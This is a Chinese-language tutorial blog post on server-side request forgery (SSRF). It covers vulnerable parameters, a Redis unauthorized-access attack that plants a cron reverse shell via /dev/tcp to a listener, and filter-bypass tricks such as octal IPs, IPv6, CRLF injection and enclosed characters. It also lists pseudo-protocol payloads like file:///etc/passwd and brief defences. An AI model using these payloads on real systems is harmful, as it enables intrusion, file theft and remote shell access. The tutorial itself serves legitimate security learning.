SSRF攻击

news/2024/11/19 17:27:36/文章来源:https://www.cnblogs.com/dhan/p/18197726

目录
  • SSRF攻击
    • 原理
    • 漏洞利用
      • redis未授权访问访问漏洞进行攻击
    • SSRF绕过方式
    • SSRF中URL的伪协议
    • SSRF漏防御手段

SSRF攻击

服务端请求伪造

原理

事故多发地在url分享、收藏、网址翻译功能。
参数通常是:(其实就是参数值是另一个url的地方就有可能有SSRF)

share
link
url
src
like
u

漏洞利用

  • 通过外网服务器对内网进行信息收集,探测存活的主机和开放端口号、对内网web应用进行指纹识别。
  • 可以利用内网的redis未授权访问漏洞写定时任务反弹shell
  • 各种协议进行探测:http/file/dict/ftp/gopher

redis未授权访问访问漏洞进行攻击

redis未授权访问漏洞就是因为没有设定连接密码或者密码太过简单导致的。

  • 监听机:centos7.8
nc -lvvp 4444
  • 给通过目标主机的redis未授权访问漏洞写入反弹shell的指令
redis-cli -h 192.168.0.104 set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.61.164/4444 0>&1\n\n"
# * * * * *表示每分钟执行一次,/bin/bash -i是创建一个bash终端,
# >&/dev/tcp/192.168.61.149/4444是发送给192.168.61.149的4444端口的监听程序。
config set dir /var/spool/cron 
config set dbfilename root  # 必须是某个用户的名称,#因为定时任务的文件名称是根据用户名称来的,可以是root用户的名称
save  #保存,会将redis中的数据保存到指定的目录和dbfilename指定的文件中去

监听机一会就能看到反弹回来的shell了
image

SSRF绕过方式

  • 限制为http://www.xxx.com 域名时(利用@)
    可以尝试采用http基本身份认证的方式绕过
    如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,如果是PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。
  • 短链接绕过:https://dwz.cn/
    通过一些短链接转换方式绕过黑名单。同时这种短链接转换还能进行一些钓鱼攻击行为。
  • 进制转换
    十进制的127.0.0.1可以换成八进制、十六进制都可以,不管是windows还是linux都能够解析
    image
    image
  • 特殊域名(不过现在不能用了,如果有道友找到另外的请务必分享一下,感激不尽)
    原理是DNS解析。xip.io可以指向任意域名,即
    127.0.0.1.xip.io,可解析为127.0.0.1
  • 利用[::],这个是针对ipv6的
    可以利用[::]来绕过localhost
    比如:http://169.254.169.254>>http://[::169.254.169.254]
    只要对方支持ipv6的ip地址访问就行
  • 利用句号
    127。0。0。1 >>> 127.0.0.1
    比如: ping 127。0。0。1,注意,linux系统才能识别,windows系统不能识别
  • CRLF 编码绕过
    %0d->0x0d->\r回车
    %0a->0x0a->\n换行
    HTTP头部注入
    example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a
  • 利用类似于颜文字的字母和数字(只有linux能解析)
利用Enclosed alphanumerics,有些输入法直接就可以输入这样的封闭字符
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
http://169.254.169.254>>>http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
比如ping ①②⑦.⓪.⓪.① 注意,也是linux系统支持

SSRF中URL的伪协议

以下所有可用的URL伪协议都可以在发现ssrf漏洞点的时候尝试一遍。

http:// 主要用于探测主机存活和端口的开放情况
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info
gopher:// 分布式文档传递服务,可使用gopherus生成payload
ftp:// 针对21端口的探测
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议 windows 域控

SSRF漏防御手段

  • 过滤返回的信息,即使探测到了,你经过过滤后,内网信息依旧不回返回给用户
  • 限制请求的端口号:比如你对于该探测到的内网端口号只开放80的话,或者说本来就是开放给用户的该端口那就只开放那个端口号即可。否则就都关闭。
  • ip加黑或者加白
  • url限制死也是一种办法
  • 协议不用的都ban掉,以免出现问题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/707753.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

函数计算帮助领健为“看牙”注入AI活力

作者:姜伟,龚杨,周韬,王彬 客户介绍和业务背景 领健成立于2015年,总部位于上海,并在全国设立了20余家分支机构,拥有100项软件著作权、91项注册商标、35项发明专利,致力为口腔诊所、医美机构等消费医疗企业提供经营管理一体化解决方案。 领健拥有 ISO/IEC27001 国内国际…

【Linux】《VMware17搭建Ubuntu.22.04-Rust开发环境》

下载VMware17安装包 下载链接: 创建虚拟机之后都默认就可以了。进入系统设置登录账号和密码以及修改下语言,剩余都默认即可。 设置中文界面设置中文输入法接下来开始设置输入法切换快捷键设置 使用 Ctrl + Alt + T 打开终端,输入 ibus-setup重启,看一下是否有输入法信息尝试…

多线程下使用List中的subList和remove方法产生的 java.util.ConcurrentModificationException 异常

在说多线程操作List之前,我们先看下单线程下产生的问题: 单线程List<Integer> listA=new ArrayList<>(); listA.add(1); listA.add(2); listA.add(3); listA.add(4); listA.add(5); listA.add(6);for(Integer a:listA…

KubeKey v3.1 发布:快速自定义离线安装包

日前,KubeKey v3.1 正式发布。该版本主要对离线场景部署、离线包制作以及向 Kubernetes v1.24+ 升级进行了优化。 KubeKey 简介KubeKey 是 KubeSphere 社区开源的一款高效集群部署工具,运行时默认使用 Docker,也可对接 Containerd、CRI-O、iSula 等 CRI 运行时,且 ETCD 集群…

DashVector + ModelScope 玩转多模态检索

本教程演示如何使用向量检索服务(DashVector),结合ModelScope上的中文CLIP多模态检索模型,构建实时的“文本搜图片”的多模态检索能力。作为示例,我们采用多模态牧歌数据集作为图片语料库,用户通过输入文本来跨模态检索最相似的图片。 整体流程主要分为两个阶段: 图片数…

element-plus table部分列根据接口返回key展示

实现效果根据刷选年份返回对应年份作为部分列1. 处理接口数据接口返回数据格式需要处理成   处理过程data.message && data.message.forEach((item:any)=>{let obj = {}for(var key in item){if(Number(key)){Object.assign(obj, {[key]: item[key]})}item.data =…

设计模式05----适配器模式

适配器模式: 适配器模式(Adapter Pattern)是一种结构型设计模式,它允许不兼容的接口协同工作。这种模式涉及到一个单独的类,该类负责将一个类的接口转换成客户期望的另一个接口。适配器让原本接口不兼容的类可以一起工作。 例如: USB转接口就是适配器,它能够将各种不同类…

基于时间的断路器

1 新建一个微服务模块 我们在cloud-payment-service模块中新增一个controller以提供给其它微服务模块调用。 @RestController public class PayCircuitController {@GetMapping("/pay/circuit/{id}")public String myCircuit(@PathVariable("id") Integer …

计算机体系结构-Booth乘法

本专栏用于记录计算机体系结构学习笔记原理解释 电路实现 以Radix-4 Booth编码为例,Booth乘法的核心是部分积的生成,需要生成\(N/2\)个部分积,每个部分积与\([X]_补\)有关,存在\(-X,-2X,+X,+2X,0\) 这五种可能,其中减去\(X_{补}\)的操作可以认为是按位取反的\(X_{补}\)在末…

使用 JS 实现在浏览器控制台打印图片 console.image()

在前端开发过程中,调试的时候,我门会使用 console.log 等方式查看数据。但对于图片来说,仅靠展示的数据与结构,是无法想象出图片最终呈现的样子的。虽然我们可以把图片数据通过 img 标签展示到页面上,或将图片下载下来进行预览。但这样的调试过程实在是复杂,何不实现一个…

渗透测试快速启动指南-全-

渗透测试快速启动指南(全)原文:Quick Start Guide to Penetration Testing 协议:CC BY-NC-SA 4.0一、NMAP 简介 漏洞评估和渗透测试变得越来越重要,尤其是在最近几年。组织通常拥有存储敏感数据的复杂资产网络。这些资产暴露在来自组织内部和外部的潜在威胁之下。为了全面…